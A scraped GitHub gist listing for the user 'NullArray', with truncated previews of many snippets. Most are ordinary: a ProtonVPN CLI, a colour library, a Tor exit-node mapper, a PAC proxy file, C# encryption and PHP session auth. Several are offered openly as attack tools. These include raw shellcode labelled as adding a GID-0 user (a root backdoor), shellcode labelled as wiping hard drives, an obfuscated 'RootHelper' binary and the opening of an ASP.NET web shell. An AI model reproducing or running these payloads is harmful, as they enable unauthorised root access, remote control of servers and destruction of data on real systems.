Skip to content

Instantly share code, notes, and snippets.

View NullArray's full-sized avatar
:electron:
Contact me at developers@greysec.net

Vector Security NullArray

:electron:
Contact me at developers@greysec.net
View GitHub Profile
@NullArray
NullArray / protonvpn-cli.sh
Created May 29, 2019 12:30
Proton VPN manage and install. (*Nix & OSX)
#!/usr/bin/env bash
######################################################
# ProtonVPN CLI
# ProtonVPN Command-Line Tool
#
# Made with <3 for Linux + macOS.
###
#Author: Mazin Ahmed <Mazin AT ProtonMail DOT ch>
######################################################
version=1.1.2
@NullArray
NullArray / chroma.py
Created May 22, 2019 03:46
Simple hash checker.
#!/usr/bin/env python
'''
#--ANSI Colored Formatting--#
#--Mini Library by Vector --#
#--Licensed under GNU GPL3--#
'''
_ERROR_ = "The 'text' method takes two arguments.\n"
_ERROR_ += "the first one of which is mandatory. \n"
@NullArray
NullArray / tormap.py
Created April 10, 2019 21:27 — forked from resilar/tormap.py
map(GET(url)) over Tor exit nodes
#!/usr/bin/env python
PROXY=("localhost", 9050)
CONTROLPORT=9051
COOKIE="/opt/torchroot/var/lib/tor/control_auth_cookie"
URL="http://showip.net"
OUT="scan/"
RELAY="firsthop"
EXITS="exit-addresses"
@NullArray
NullArray / extended-example.pac
Last active January 29, 2024 01:21
pac script example
// Simple PAC script example
function FindProxyForURL(url, host) {
if ( /*condition to pass the request through a local proxy server */ ) {
return 'PROXY 127.0.0.1:8080';
/* If you have Tor installed you can route this connection over Tor like so;*/
/* return 'PROXY 127.0.0.1:9050'; */
}
if ( /*condition to pass the request through a network proxy server */ ) {
@NullArray
NullArray / adduser.c
Created March 31, 2019 03:28
add user with GID 0 in *nix
"\xbf\x27\x78\x9d\xde\xdb\xd5\xd9\x74\x24\xf4\x5d\x33\xc9\xb1"
"\x18\x83\xc5\x04\x31\x7d\x11\x03\x7d\x11\xe2\xd2\x49\x54\x57"
"\xd7\xc0\x20\x30\x2a\x94\xc7\xc5\xec\xa4\xde\x97\x64\xb4\x93"
"\x60\x10\x52\x7b\xa0\xa8\xc3\xeb\x91\x2d\x70\x8f\x64\x4e\x39"
"\xfa\x73\x5d\x3a\x97\x94\x7b\x3b\x98\x64\xf0\x4e\xfc\x05\x93"
"\xdd\x93\xab\x61\x5f\x16\x1b\xf1\x16\x95\x09\xcd\xd8\x6d\x87"
"\x7f\x7a\xb4\x27\x45\x4c\xf2\x7d\x96\x96\x2d\xe0\x81\x88\x1e"
"\x97\x39\x5f\x38\xdc\xe8\xa3\xd0\xe6\x52\x91\xa5\x8d\x63\x71"
"\x6b\xd1"
@NullArray
NullArray / shellcode_of_death.c
Created March 31, 2019 03:19
shellcode of HDD death
"\xd9\xea\xd9\x74\x24\xf4\xbd\x8f\x1e\x9a\x87\x58\x29\xc9\xb1"
"\x61\x31\x68\x18\x03\x68\x18\x83\xe8\x73\xfc\x6f\x6c\xd1\x30"
"\x50\xf8\xd1\xb1\x51\x29\x4a\xe6\x60\x0e\x5d\xc6\x2f\x71\x5e"
"\xc3\x2e\xb1\xe3\x34\x30\x40\x10\x05\xfa\xaf\xef\x4d\xa5\xf4"
"\x7b\x51\x16\xe0\x5d\x96\x1f\x26\xea\x59\x1c\x4c\xa8\x5b\x24"
"\xdf\x34\x5e\x84\x54\x74\x7e\xa9\x77\x76\x96\x72\x78\x89\x99"
"\x2e\x0c\x3e\x42\x5c\x1e\xca\xec\xd5\x1b\x8b\xd5\x16\xdc\x0b"
"\x16\x62\x78\x17\x9b\x68\x65\xac\xa7\x13\x14\xb6\xa5\xd0\x16"
"\x7f\xcd\x77\x68\x7f\x0e\x78\x02\x3f\x02\xf3\x54\xa3\x91\x53"
"\x5d\x50\xdd\x73\xd6\x66\x24\x3b\xf0\x13\xab\xab\x64\x80\x49"
@NullArray
NullArray / RootHelper.x.c
Created February 12, 2019 23:18
RootHelper Obfuscated, Encrypted, Converted to C source
//#____ ____ __
//#\ \ / /____ _____/ |_ ___________
//# \ Y // __ \_/ ___\ __\/ _ \_ __ \
//# \ /\ ___/\ \___| | ( <_> ) | \/
//# \___/ \___ >\___ >__| \____/|__|
//# \/ \/
//#--Licensed under GNU GPL 3
//#----Authored by Vector/NullArray
//###############################################
@NullArray
NullArray / EncryptDecrypt.cs
Created January 22, 2019 20:37 — forked from heiswayi/EncryptDecrypt.cs
Encryption & Decryption method for C#
public static string Encrypt(string data, string key)
{
RijndaelManaged rijndaelCipher = new RijndaelManaged();
rijndaelCipher.Mode = CipherMode.CBC;
rijndaelCipher.Padding = PaddingMode.PKCS7;
rijndaelCipher.KeySize = 0x80;
rijndaelCipher.BlockSize = 0x80;
byte[] pwdBytes = Encoding.UTF8.GetBytes(key);
byte[] keyBytes = new byte[0x10];
@NullArray
NullArray / shell.asp
Created January 22, 2019 20:33 — forked from heiswayi/shell.asp
Shell script for ASP.NET
<%@ Language = VBScript
CodePage = 1252 %>
<%
Option Explicit
'/* --- Options --- */
Server.ScriptTimeout = 360 ' Seconds
Session.Timeout = 5 ' Minutes
Response.Expires = -1 ' Minutes (expires immediately)
Private sMD5Hash ' MD5("HitU")
@NullArray
NullArray / SimpleAuth.php
Created January 22, 2019 20:30 — forked from heiswayi/SimpleAuth.php
Simple PHP script to protect any PHP page using session
<?php
/*
* Filename: SimpleAuth.php
* Version: 1.0
* Author: Heiswayi Nrird
* Dscription: Simple PHP script to protect any PHP page using session
* Website: https://heiswayi.nrird.com
*
* HOW TO USE
* ==========